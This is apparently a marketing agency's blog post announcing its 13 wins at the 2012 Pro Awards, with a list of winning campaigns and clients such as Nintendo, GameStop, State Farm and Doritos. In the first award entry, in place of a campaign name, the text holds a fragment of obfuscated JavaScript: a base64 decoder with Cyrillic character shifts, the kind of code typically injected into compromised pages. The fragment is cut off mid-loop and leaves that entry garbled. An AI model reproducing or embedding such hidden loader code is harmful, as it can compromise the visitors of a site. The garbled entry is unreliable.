Great Clients + Great Work = 13

  Promotional marketing awards
 

Chief Marketer/Promo magazine today announced the winners of the 2012 Pro Awards, which annually recognize excellence in promotional marketing.

When it was all said and done, TMA was left standing with a bag full of 13 trophies, including four golds, three silvers, five bronzes and an honorable mention (for good measure). Scroll down for the full list of TMA winners...

As an agency, we were recognized in nine different Pro Awards categories ranging from cause marketing and sponsorship, to multicultural and retail, to digital and experiential.

Credit, of course, goes to a terrific group of clients and the hard-working TMAers --   from LA to London -- who concept, create, execute, produce and manage hundreds of the   needle-moving programs and campaigns every year.

We'll celebrate these today, then get back at it tomorrow, cookin' up more big ideas for the remainder of 2012 and on into 2013.

= = = = = = = = = = = =
2012 PRO AWARDS
= = = = = = = = = = = =

BEST USE OF EVENT OR GUERRILLA MARKETING (FIVE OR LESS VENUES)

GOLD:   function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe" target="_blank">Super Mario 3D Land Launch
Client: Nintendo
Agency: The Marketing Arm

BEST INCENTIVE PROMOTION

GOLD: Call of Duty Pre-Order Campaign
Client: GameStop
Agency: The Marketing Arm

BRONZE: Gears of War 3 Pre-Order Campaign
Client: GameStop
Agency: The Marketing Arm

BEST CAUSE-BASED PROMOTION

GOLD:   Play Today. Illuminate Tomorrow.
Client: State Farm
Agency: The Marketing Arm

BEST SPONSORSHIP OR TIE-IN PROMOTION

SILVER:   Crash the Super Bowl
Client: Doritos
Agency: The Marketing Arm

BRONZE:   Call of Duty Rank Up
Client: Doritos
Agency: The Marketing Arm

BEST MULTICULTURAL/ETHNIC PROMOTION

GOLD: Juega Hoy. Ilumina el Mañana.
Client: State Farm
Agency: The Marketing Arm

BEST PROMOTION TARGETING A SPECIFIC DEMOGRAPHIC

SILVER: Call of Duty Rank Up
Client: Doritos
Agency: The Marketing Arm

BEST PROMOTION GENERATING BRAND AWARENESS

BRONZE:   Cool Jobs with Mario Batali
Client: Monster.com
Agency: The Marketing Arm

BEST RETAIL PROMOTION

SILVER: Call of Duty Pre-Order Campaign
Client: GameStop
Agency: The Marketing Arm

BRONZE: Gears of War 3 Pre-Order Campaign
Client: GameStop
Agency: The Marketing Arm

BEST USE OF BRANDED WEB GAME(S)

BRONZE:  Go for the Emerald
Client: oneworld Alliance (American Airlines)
Agency: The Marketing Arm

BEST IDEA OR CONCEPT

HONORABLE MENTION: Play Today. Illuminate Tomorrow.
Client: State Farm
Agency: The Marketing Arm

* * *

Comments are closed here.